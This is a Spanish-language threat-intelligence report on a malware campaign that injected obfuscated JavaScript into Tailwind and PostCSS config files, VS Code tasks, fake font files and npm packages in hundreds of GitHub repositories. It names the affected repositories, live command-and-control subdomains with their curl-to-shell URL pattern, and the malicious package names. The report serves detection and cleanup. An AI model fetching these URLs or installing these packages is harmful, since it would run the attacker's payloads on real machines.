postcss.config.mjs | Un frontend moderno, receptivo y rico en funciones para la Plataforma de Eventos y Actividades, construido con Next.js 14 y Tailwind CSS. Esta aplicación proporciona una experiencia fluida para que los usuarios descubran eventos, los anfitriones gestionen sus listados y los administradores supervisen la plataforma. | | | 273 | fareed-aslam/capitalkv | fareed-aslam | User | 0 | 0 | 1 | CapitalKV-AI-master/frontend/postcss.config.mjs | | | | 274 | TimothyBabatu13/Stampchain | TimothyBabatu13 | User | 0 | 0 | 1 | stamp-chain/postcss.config.mjs | | | | 275 | iamanaskhan10/my-portfolio-nextjs | iamanaskhan10 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 276 | MatiasCuadra98/ai-excel | MatiasCuadra98 | User | 0 | 0 | 1 | apps/frontend/postcss.config.mjs | | | | 277 | manuel-spec/another-portfolio | manuel-spec | User | 0 | 0 | 1 | postcss.config.mjs | | | | 278 | kasunwathsala/Nextjs-Protfolio | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | Un sitio web de portafolio vibrante, moderno y completamente receptivo construido con Next.js 14, TypeScript y Tailwind CSS. Presenta impresionantes diseños de degradados, animaciones suaves y una UI colorida que muestra tus proyectos y habilidades de manera llamativa. | | | 279 | shayanwd/vts-nextjs | shayanwd | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 280 | JudeTejada/reactly | JudeTejada | User | 0 | 0 | 1 | apps/web/postcss.config.mjs | | | | 281 | fyunusa/video-tool | fyunusa | User | 0 | 0 | 1 | postcss.config.mjs | | | | 282 | TranDoanKhoe/Velvere | TranDoanKhoe | User | 0 | 0 | 5 | src/components_bonus/my-tab/postcss.config.mjs | src/components_bonus/my-app/postcss.config.mjs | src/components_bonus/my-select/postcss.config.mjs | src/components_bonus/my-button/postcss.config.mjs | src/components_bonus/my-calendar/postcss.config.mjs | | | | 283 | cywasay/leaders | cywasay | User | 0 | 0 | 1 | leaders-admin/postcss.config.mjs | | | | 284 | TimothyBabatu13/TokenMind | TimothyBabatu13 | User | 0 | 0 | 1 | token-mind/postcss.config.mjs | Cerebro AI inteligente para tokens | | | 285 | shani-techv1/source-app-v2 | shani-techv1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 286 | Mfahadk99/syssel-web-internal | Mfahadk99 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 287 | Nathanim1919/time-lens | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 288 | addis-ale/wetruck-shipper | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 289 | Romicha935/image-gallery | Romicha935 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 290 | Ali-Hamas/Todo-App | Ali-Hamas | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 291 | MohamedH1000/philadelphia_university | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 292 | saifullah-max/surfchem | saifullah-max | User | 0 | 0 | 1 | postcss.config.mjs | | | | 293 | ahnaafarafee/bionic-seven | ahnaafarafee | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | Sitio web oficial de Bionic 7 - Lote 7 de Ingeniería Biomédica de la Universidad Islámica | | | 294 | malirazaansari/Protfolio_project | malirazaansari | User | 0 | 0 | 1 | postcss.config.mjs | Mi Portafolio Personal | | | 295 | ayanmal1k/DragoPump | ayanmal1k | User | 0 | 0 | 1 | postcss.config.mjs | Sitio de token Solana | | | 296 | Shumaim-Naseer-Kiyani/framer_project | Shumaim-Naseer-Kiyani | User | 0 | 0 | 1 | postcss.config.mjs | | | | 297 | prosigns/dex-data-aggregation | prosigns | User | 0 | 0 | 1 | postcss.config.mjs | | | | 298 | MrSohaibAhmed/interview-assessment | MrSohaibAhmed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 299 | roma2023/Snoonu | roma2023 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 300 | Mohsin-Javed48/nextjs-witd-oasis | Mohsin-Javed48 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 301 | kasunwathsala/Caramel-Pudding-web | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | Una plataforma de comercio electrónico premium para la venta de pudín de caramelo construida con Next.js y shadcn/ui. Cuenta con una experiencia de compra completa con catálogo de productos, carrito de compras, pago y diseño receptivo. Listo para integración de pagos y escalado con tu propio backend de base de datos. | | | 302 | mahadi-zulfiker/crm | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Un Sistema de Gestión de Reclutamiento full-stack basado en roles, diseñado para agilizar los flujos de trabajo de contratación para organizaciones y equipos de RRHH. | | | 303 | humayun506034/ReviewHub-Client | humayun506034 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 304 | brianonbased-dev/BaseAppShop | brianonbased-dev | User | 0 | 0 | 1 | postcss.config.mjs | Tienda Brian Shopify para Base App | | | 305 | sanjay10985/lead-generation-landing-page | sanjay10985 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 306 | Rahulkumarhavit/finance-advisor | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 307 | ayanmal1k/Sol-Market | ayanmal1k | User | 0 | 0 | 1 | postcss.config.mjs | | | | 308 | Mohsin-Javed48/dresscode-nextjs | Mohsin-Javed48 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 309 | Hriday-paul/anyjob-wellcome | Hriday-paul | User | 0 | 0 | 1 | postcss.config.mjs | | | | 310 | a-belard/rayyan | a-belard | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 311 | kasunwathsala/Service-marketplace | kasunwathsala | User | 0 | 0 | 1 | navbar-vite (3)/postcss.config.mjs | Una aplicación web full-stack integral que conecta a los clientes con proveedores de servicios en múltiples categorías, incluidos servicios de un día, trabajo por contrato y oportunidades de medio tiempo. | | | 312 | kasunwathsala/saloon-booking-system | kasunwathsala | User | 0 | 0 | 1 | salon-booking-system/postcss.config.mjs | Un sitio web moderno y receptivo de reserva de salones construido con Next.js y React. Este sistema integral de gestión de salones de belleza incluye listados de servicios, perfiles de estilistas, reserva de citas en varios pasos, testimonios de clientes y gestión de contactos. | | | 313 | Nathanim1919/becoming | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 314 | Adithyahewage/portfolio_website | Adithyahewage | User | 0 | 0 | 1 | postcss.config.mjs | | | | 315 | Ali-Hamas/Website-Todo | Ali-Hamas | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 316 | MohamedH1000/Mersal | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 317 | MohamedH1000/cruise | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 318 | kasunwathsala/portfolio-2026 | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | | | | 319 | mahadi-zulfiker/SpaceZee | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Sitio web en vivo | | | 320 | mahadi-zulfiker/REPLIQ-Limited-Task | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Enlace en vivo | | | 321 | ahmadraza382/E-commerce-website | ahmadraza382 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 322 | Rahulkumarhavit/carmarket-place | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 323 | Rahulkumarhavit/Nextjs-productivity | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 324 | tanushka1726/react_next | tanushka1726 | User | 0 | 0 | 1 | postcss.config.mjs | Reader Website es una aplicación web moderna y receptiva construida con Next.js y TypeScript, diseñada para mostrar y explorar libros con una experiencia de usuario fluida. Cuenta con enrutamiento dinámico, componentes reutilizables y está completamente desplegada para acceso público. Ideal para lectores, entusiastas de los libros o plataformas de contenido que buscan una experiencia de lectura interactiva. | | | 325 | Sameer447/O2_app | Sameer447 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 326 | dmytro-chushko/portfolio-dev-dc | dmytro-chushko | User | 0 | 0 | 1 | postcss.config.mjs | | | | 327 | Axxi3/ladyfoxx | Axxi3 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 328 | Vladyslav0060/autopartner | Vladyslav0060 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 329 | PremShakti/jewelry-kiosk | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | | | 330 | theeurbanlegend/Hackathon-Submission | theeurbanlegend | User | 0 | 0 | 1 | client/postcss.config.mjs | | | | 331 | SouravDn-p/NextManager-YourInventory-Manager | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Next.js Inventory Manager Un sistema de gestión de inventario full-stack construido con Next.js 14 App Router, Tailwind CSS, MongoDB y Redux Toolkit (RTK Query). Esta aplicación admite autenticación social a través de NextAuth.js (Google, GitHub) e inicio de sesión tradicional con correo electrónico/contraseña usando JWT. | | | 332 | abdullah2310ishaq/zeebuddy | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 333 | JudeTejada/project-monitoring | JudeTejada | User | 0 | 0 | 1 | postcss.config.mjs | | | | 334 | salwaaliakbar/my-portfolio | salwaaliakbar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 335 | abdullah2310ishaq/company | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 336 | wahab3913/kalibar-manger1 | wahab3913 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 337 | ninjadevhub/Flood-Risk-Mapper | ninjadevhub | User | 0 | 0 | 1 | postcss.config.mjs | | | | 338 | trobits/trobits-frontend | trobits | User | 0 | 0 | 1 | postcss.config.mjs | | | | 339 | Shumaim-Naseer-Kiyani/ai_landing_page | Shumaim-Naseer-Kiyani | User | 0 | 0 | 1 | postcss.config.mjs | | | | 340 | ChiraniSiriwardhana/Portfolio | ChiraniSiriwardhana | User | 0 | 0 | 1 | postcss.config.mjs | | | | 341 | carrantal/frontend | carrantal | User | 0 | 0 | 1 | postcss.config.mjs | | | | 342 | Nathanim1919/atlas | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 343 | asadullah-kazmi/syncspace | asadullah-kazmi | User | 0 | 0 | 1 | frontend/postcss.config.mjs | Una plataforma de colaboración en tiempo real construida con Next.js, WebSockets y CRDTs (Yjs), que permite la edición de documentos multiusuario con sincronización de estado sin conflictos y actualizaciones de baja latencia. | | | 344 | usman-174/form-pdf | usman-174 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 345 | evenwalser/FinalPaperclipPro | evenwalser | User | 0 | 0 | 1 | postcss.config.mjs | Para que Hetal migre a Paperclip Vercel | | | 346 | huzzy12/portfolio | huzzy12 | User | 0 | 0 | 1 | postcss.config.mjs | Mi sitio web de portafolio | | | 347 | Sameer447/my-app | Sameer447 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 348 | wahab3913/kalibar | wahab3913 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 349 | sybotstackdev/Portfolio | sybotstackdev | User | 0 | 0 | 1 | postcss.config.mjs | | | | 350 | NEERAJ131124/pisync-fe | NEERAJ131124 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 351 | RazaAkmal/frontend-test | RazaAkmal | User | 0 | 0 | 1 | postcss.config.mjs | | | | 352 | kasunwathsala/Loomistore | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | | | | 353 | um8r/bridge-master-fyp | um8r | User | 0 | 0 | 1 | postcss.config.mjs | | | | 354 | RathodDeven/danz-web | RathodDeven | User | 0 | 0 | 1 | postcss.config.mjs | | | | 355 | Gowreesh-VT/OnlyFoundersV2 | Gowreesh-VT | User | 0 | 0 | 1 | postcss.config.mjs | | | | 356 | garrycha/test-job | garrycha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 357 | wasi2320/ctk-new | wasi2320 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 358 | sayyamButt317/hire-with-tess-frontend | sayyamButt317 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 359 | Al-amin07/bigso_app | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 360 | shermuhammad786/gs-hackathon | shermuhammad786 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 361 | smit455/big_bazaar-store | smit455 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 362 | jbaze/borec-basket-claude | jbaze | User | 0 | 0 | 1 | postcss.config.mjs | | | | 363 | Al-amin07/project-9-client | Al-amin07 | User | 0 | 0 | 3 | postcss.config.mjs | tailwind.config.js | eslint.config.mjs | | | | 364 | farihulrouf/orcx_fe | farihulrouf | User | 0 | 0 | 1 | postcss.config.mjs | | | | 365 | wahab3913/kalibar-m2 | wahab3913 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 366 | finom/realtime-kanban | finom | User | 0 | 0 | 1 | postcss.config.mjs | | | | 367 | rejoan121615/heritage-trial-overlay | rejoan121615 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 368 | Ruwanima/Portfolio | Ruwanima | User | 0 | 0 | 1 | postcss.config.mjs | | | | 369 | Lithira-Sasmitha/social_app | Lithira-Sasmitha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 370 | coderkhalide/selorax-canvas | coderkhalide | User | 0 | 0 | 1 | apps/canvas-v2/postcss.config.mjs | | | | 371 | Button-20/juzbuild-background-processor | Button-20 | User | 0 | 0 | 1 | templates/homely/postcss.config.mjs | | | | 372 | Muhammadfaizanjanjua109/frammerMotion | Muhammadfaizanjanjua109 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 373 | AHAdd40451/task-sheet | AHAdd40451 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 374 | zaheerahmad92001/pettro | zaheerahmad92001 | User | 0 | 0 | 1 | postcss.config.mjs | pettro para amantes de las mascotas | | | 375 | MahadA456/mahad-portfolio | MahadA456 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 376 | Joyeta-Mondal/Sparktech-Agency-assessment | Joyeta-Mondal | User | 0 | 0 | 1 | postcss.config.mjs | | | | 377 | webprogramminghack/b3-practice-31 | webprogramminghack | User | 0 | 0 | 1 | postcss.config.mjs | | | | 378 | Adithyahewage/Salon-demo | Adithyahewage | User | 0 | 0 | 1 | postcss.config.mjs | Proyecto demo para un cliente de salón | | | 379 | akashstwt/eth-global-cryptowiki | akashstwt | User | 0 | 0 | 1 | postcss.config.mjs | | | | 380 | Gowreesh-VT/AWS-Web-Dev | Gowreesh-VT | User | 0 | 0 | 1 | postcss.config.mjs | | | | 381 | dynamicdreamz1/startup-voyager | dynamicdreamz1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 382 | farhanmasood-se/live-docs | farhanmasood-se | User | 0 | 0 | 1 | postcss.config.mjs | | | | 383 | dmytro-chushko/form-editor | dmytro-chushko | User | 0 | 0 | 1 | postcss.config.mjs | Una aplicación Next.js para construir, publicar y recopilar envíos de formularios personalizados. Incluye un área de administración autenticada con un editor de arrastrar y soltar y una experiencia de formulario orientada al público. | | | 384 | Sameer447/launchpad-incubator-backend | Sameer447 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 385 | SouravDn-p/Advance-HealthCare-Next-Level-of-Smarter-Better-Health | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Servicio de Salud Avanzado || Una plataforma de salud digital completa y todo en uno que ofrece consultas en línea, registros de salud seguros, recetas electrónicas, evaluación inteligente de síntomas y atención personalizada al paciente, todo desde una experiencia web fluida. | | | 386 | SouravDn-p/Scribe-AI-Powered-Note-Taking-App | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | | | | 387 | SouravDn-p/multi-form-transaction | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Una Plataforma Demo de Transacciones Cortas | | | 388 | SouravDn-p/authjs-next-authentications | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | | | | 389 | abdullah2310ishaq/qudrat | abdullah2310ishaq | User | 0 | 0 | 1 | admin-panel/postcss.config.mjs | | | | 390 | SouravDn-p/PathFinder---Smarter-Admissions-Simpler-Bookings | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | PathFinder – Admisiones más inteligentes, reservas más simples. Una aplicación full-stack Next.js para reservas de admisiones universitarias. Incluye búsqueda de universidades, formularios de admisión, reseñas, gestión de perfiles y autenticación basada en JWT. | | | 391 | abdullah2310ishaq/resposive-doctor-websote | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 392 | abdullah2310ishaq/ecommerce_jewellery_store | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 393 | Al-amin07/pioneer | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 394 | smit455/big_bazaar-admin | smit455 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 395 | smit455/Task_manager | smit455 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 396 | dhruvmalik007/Stratavault | dhruvmalik007 | User | 0 | 0 | 2 | apps/web/postcss.config.mjs | packages/ui/postcss.config.mjs | Aplicación para la presentación del Hackmoney 2026 de Ethglobal: Construyendo la plataforma de experiencia de agente para invertir sin esfuerzo en mercados de predicción. | | | 397 | finom/blok | finom | User | 0 | 0 | 1 | postcss.config.mjs | | | | 398 | rejoan121615/website-generator | rejoan121615 | User | 0 | 0 | 1 | packages/dashboard/postcss.config.mjs | | | | 399 | abdullah2310ishaq/personal-portfolio | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 400 | Joyeta-Mondal/arklab-ai-assessment | Joyeta-Mondal | User | 0 | 0 | 1 | postcss.config.mjs | | | | 401 | Adithyahewage/Gym-demo | Adithyahewage | User | 0 | 0 | 1 | postcss.config.mjs | Proyecto demo para un cliente de gimnasio | | | 402 | Gowreesh-VT/VITopoly | Gowreesh-VT | User | 0 | 0 | 1 | postcss.config.mjs | | | | 403 | farhanmasood-se/slack-clone | farhanmasood-se | User | 0 | 0 | 1 | postcss.config.mjs | Colabora con tu equipo usando mensajería en tiempo real, edición de texto enriquecido y soporte de emojis en esta aplicación similar a Slack construida con Next.js, Convex y Shadcn UI. | | | 404 | Socheema/clot | Socheema | User | 0 | 0 | 1 | postcss.config.mjs | Compra los mejores productos de moda con Clot | | | 405 | Shumaim-Naseer-Kiyani/project1 | Shumaim-Naseer-Kiyani | User | 0 | 0 | 1 | postcss.config.mjs | | | | 406 | Muhammad-Hammad-Abbasi/next.js-hackathon | Muhammad-Hammad-Abbasi | User | 0 | 0 | 1 | postcss.config.mjs | Hackathon de diseño web figma. | | | 407 | Germs31/small-traslator-ai | Germs31 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 408 | prudywn/GrowthProject | prudywn | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 409 | FaizaFarooq23/photo-gallery | FaizaFarooq23 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 410 | dbankston2409/Sober-Deck | dbankston2409 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 411 | mahadi-zulfiker/Nextjs-Prisma-Portfolio-Frontend | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Sitio web en vivo | | | 412 | seemab-ahmed/blockdag | seemab-ahmed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 413 | abdullah2310ishaq/zee-admin | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 414 | lnbglondoncoin/lnbglondon | lnbglondoncoin | User | 0 | 0 | 1 | postcss.config.mjs | | | | 415 | ahmadraza382/Ferrano | ahmadraza382 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 416 | JPChoyon/bikeBotics | JPChoyon | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 417 | Anas-Ali-3673/caa-interface | Anas-Ali-3673 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 418 | akashstwt/fleek | akashstwt | User | 0 | 0 | 1 | postcss.config.mjs | | | | 419 | wolfstudiosai/havocker | wolfstudiosai | User | 0 | 0 | 1 | postcss.config.mjs | | | | 420 | mdemong87/theamfisher-assignment | mdemong87 | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 421 | eftakhar-491/L-2_B-6-Assignment-4-frontend | eftakhar-491 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 422 | mohsulthana/yc-directory-nextjs | mohsulthana | User | 0 | 0 | 1 | postcss.config.mjs | | | | 423 | deepaksh798/dashboard-second | deepaksh798 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 424 | mahadi-zulfiker/Hishabee_Frontend_Task | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Sitio en vivo | | | 425 | Ibraz94/inventory_management_system | Ibraz94 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 426 | mdnuruzzamannirob/your-capture-awards | mdnuruzzamannirob | User | 0 | 0 | 1 | postcss.config.mjs | | | | 427 | Germs31/expense-tracking | Germs31 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 428 | Adharshms/builder | Adharshms | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 429 | Nathanim1919/Avaitor-game | Nathanim1919 | User | 0 | 0 | 1 | client/postcss.config.mjs | | | | 430 | saifullah-max/Navo-1 | saifullah-max | User | 0 | 0 | 1 | postcss.config.mjs | | | | 431 | kanchana404/web | kanchana404 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 432 | kanchana404/kaidenz-clothing | kanchana404 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 433 | Muhammad-Hammad-Abbasi/persnol_portfolio_2 | Muhammad-Hammad-Abbasi | User | 0 | 0 | 1 | postcss.config.mjs | portafolio personal | | | 434 | Salman1205/MailAssists-CRM | Salman1205 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 435 | SouravDn-p/Innovative-task-sd246 | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Un sitio web taskEarn | | | 436 | mahadi-zulfiker/PH-Job-Task-Web-Instructor | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Sitio web en vivo | | | 437 | mahadi-zulfiker/Raintor-Job-Task | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Sitio web en vivo | | | 438 | mahadi-zulfiker/SparkTech-Job-Task | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Sitio en vivo | | | 439 | seemab-ahmed/oradentclinic-website | seemab-ahmed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 440 | AhmadRazaKhokhar1/url-shortner-frontend | AhmadRazaKhokhar1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 441 | nipun-imesh/Fly-connects-web-FN | nipun-imesh | User | 0 | 0 | 1 | tailwind.config.js | | | | 442 | Barosz30/Portfolio | Barosz30 | User | 0 | 0 | 1 | tailwind.config.js | | | | 443 | web-ghoul/movie-app | web-ghoul | User | 0 | 0 | 1 | tailwind.config.js | | | | 444 | Dawit212119/DMS | Dawit212119 | User | 0 | 0 | 1 | client/tailwind.config.js | Nextjs,express,prisma | | | 445 | Al-amin07/project_4_frontend | Al-amin07 | User | 0 | 0 | 1 | tailwind.config.js | | | | 446 | zeeshanrafiqrana/metropolis-arena-frontend | zeeshanrafiqrana | User | 0 | 0 | 1 | tailwind.config.js | Metropolis Arena Mapa Interactivo de Asientos para Eventos — Tarea de Práctica Front-End | | | 447 | Wasee-Ur-Rehman/DarziXpress | Wasee-Ur-Rehman | User | 0 | 0 | 1 | client/tailwind.config.js | Servicio de Sastrería y Alteración de Ropa en Línea | | | 448 | Flitzinteractive/FlitzSpace | Flitzinteractive | User | 0 | 0 | 1 | client/tailwind.config.js | | | | 449 | addygeek/Walmart-Inventory-Clearance-Optimizer | addygeek | User | 0 | 0 | 1 | frontend/tailwind.config.js | Panel de control inteligente de inventario y gestión de caducidad para tiendas minoristas como Walmart: detecta, rastrea y optimiza artículos de liquidación con puntuación de urgencia y acceso basado en roles. | |
| Métrica | 8 de marzo (inicial) | 11 de abril (último) | Δ |
|---|
| Repositorios únicos infectados | 675 | 1,951 | +1,276 |
| Propietarios únicos afectados | 352 | 1,047 | +695 |
| — Usuarios individuales | 305 | ~930 | +625 |
| — Organizaciones | 47 | ~117 | +70 |
| Variantes distintas de ofuscador observadas | 1 (rmcej%otb%) | 2 (rmcej%otb% + Cot%3t=shtP) | +1 |
| Vectores de inyección distintos confirmados | 1 (config file) | 4 (config file, .vscode/tasks.json, fake .woff2 font, malicious npm dep) | +3 |
| Subdominios C2 distintos documentados | 1 (260120.vercel.app) | 6+ (see C2 Infrastructure) | +5 |
| Plantillas de prueba técnica armadas conocidas | 0 | 2+ (ShoeVista, StakingGame) | +2 |
El actor de amenazas está reinfectando a víctimas anteriores. Al menos un repositorio víctima (HassanHabibTahir/testclient) contiene marcadores de AMBAS variantes en diferentes archivos, lo que indica que las herramientas del actor se están reejecutando contra hosts previamente comprometidos e inyectando el nuevo ofuscador.
PolinRider y TasksJacker se han fusionado operativamente. Ahora tenemos evidencia directa de que el mismo actor de amenazas está ejecutando tanto la inyección de archivos de configuración como el vector de infección curl-to-shell de .vscode/tasks.json contra la misma población de víctimas. 22 de las 101 víctimas del script de propagación temp_auto_push.bat también tienen archivos .vscode/tasks.json maliciosos, y se han identificado múltiples proyectos de plantillas armadas de prueba técnica o falsas entrevistas — consulte Weaponized Take-Home Templates más abajo. OSM está fusionando los dos grupos bajo #polinrider en adelante.
Dos proyectos de prueba técnica armados identificados: ShoeVista (una evaluación falsa de comercio electrónico en Tailwind que incluye tailwindcss-style-animate ^1.1.6 malicioso en client/package.json) y StakingGame (un proyecto falso de blockchain/automatización de VS Code identificado por el UUID e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9 en tasks.json). Al menos 46 + 42 desarrolladores intentaron estas pruebas y fueron comprometidos. Parte del manual de atracción de Contagious Interview.
Se descubrieron cinco nuevos subdominios C2 que se están utilizando en cargas útiles curl | bash de .vscode/tasks.json, todos alojados en Vercel:
default-configuration.vercel.app (el más usado, ~106 referencias de víctimas)vscode-settings-bootstrap.vercel.appvscode-settings-config.vercel.appvscode-bootstrapper.vercel.appvscode-load-config.vercel.appTodos siguen el patrón https://<sub>.vercel.app/settings/(mac|linux|win)?flag=<N>. Añadidos a la sección C2 Infrastructure.
OSM presentó 821 nuevos informes de amenazas en esta caza de dos días, elevando el total de entradas de OSM PolinRider a ~1.700. Desglose de variantes de las 821 presentaciones: 591 variante original (rmcej%otb%), 113 solo propagación (temp_auto_push.bat), 45 malicious_npm (clúster ShoeVista/devhire), 27 tasksjacker, 1 nueva variante (Cot%3t=shtP), 44 otros.
Se identificaron nuevos pivotes de búsqueda de alto rendimiento que encuentran víctimas incluso cuando la carga útil JS ha sido limpiada. Los más fuertes son filename:temp_auto_push.bat (101 resultados confirmados como maliciosos, tasa de verdaderos positivos del 100%) y "default-configuration.vercel.app" (106 resultados). La tasa de falsos positivos de muestra en 44 verificaciones aleatorias fue del 0%. Consulte Refinement Methodology más abajo.
Se confirmó un nuevo vector de inyección: al menos una víctima (AgbaD/odoo) tiene la carga útil JS ofuscada oculta en un archivo de fuente .woff2 (public/fonts/fa-solid-400.woff2) que se ejecuta a través de Node, lo que confirma que la campaña utiliza múltiples vectores de inyección contra el mismo objetivo.
No se encontró una tercera variante de ofuscador. La investigación exhaustiva de marcadores global['?'], combinaciones de semillas, patrones estructurales, literales IOC y etiquetas secuenciales '8-stN' 1–200 (a través de regex de Sourcegraph) no produjo evidencia de una tercera variante más allá de las dos ya documentadas. El lote de nuevas variantes del actor está limitado a 8-st1..8-st59 (con 21 números secuenciales faltantes en el índice de Sourcegraph).
temp_auto_push.bat en la raíz del repositorio y cualquier config.bat referenciado desde .gitignore. Incluso si la carga útil JS ofuscada ha sido limpiada, este archivo es evidencia directa de un compromiso pasado y debería desencadenar una rotación de credenciales.public/, static/, assets/ en busca de archivos .woff / .woff2 inesperados — se ha observado que el malware oculta cargas útiles dentro de archivos de fuente falsos (la subvariante 'fake-font').package.json — particularmente cualquier paquete relacionado con PostCSS/Tailwind agregado o actualizado recientemente, como tailwind-mainanimation, tailwind-autoanimation y los otros paquetes npm listados más abajo.node_modules en busca de scripts postinstall: grep -r "postinstall" node_modules/*/package.jsonCot%3t=shtP después de una limpieza previa de la variante rmcej%otb%. Re-escanear periódicamente.| Archivo | Ocurrencias (8 Mar) | Ocurrencias (10 Abr) |
|---|
postcss.config.mjs | 416 | ~960 |
tailwind.config.js | 84 | ~210 |
eslint.config.mjs | 60 | ~150 |
postcss.config.js | 13 | ~40 |
App.js | 13 | ~30 |
next.config.mjs | 12 | ~30 |
index.js | 6 | ~25 |
astro.config.mjs | 6 | ~15 |
tailwind.config.mjs | 5 | ~12 |
vite.config.js / vite.config.mjs | — | ~20 |
webpack.config.js | — | ~15 |
gridsome.config.js | — | ~5 |
vue.config.js | — | ~10 |
truffle.js | — | ~5 |
temp_auto_push.bat (artefacto del script de propagación) | — | 101 |
.woff2 archivos de fuente (subvariante fake-font) | — | observado |
| Paquete | Última versión | Estado | Publicador | Recuento de víctimas observado (11 Abr) |
|---|
tailwindcss-style-animate | 1.1.6 | observado | (cuenta eliminada) | 34 ← dep primaria de ShoeVista |
tailwind-mainanimation | 2.3.3 → 0.0.1-security | ELIMINADO por npm (reemplazado por marcador de seguridad 2026-03-13) | allavin (cuenta eliminada) | 1 |
tailwind-autoanimation | 2.3.6 | ELIMINADO del registro | blackedward (cuenta eliminada) | 2 |
tailwind-animationbased | — | observado | (cuenta eliminada) | 0 |
tailwindcss-typography-style | 0.8.2 | observado | (cuenta eliminada) | 6 |
tailwindcss-style-modify | 0.8.3 | observado | (cuenta eliminada) | 4 |
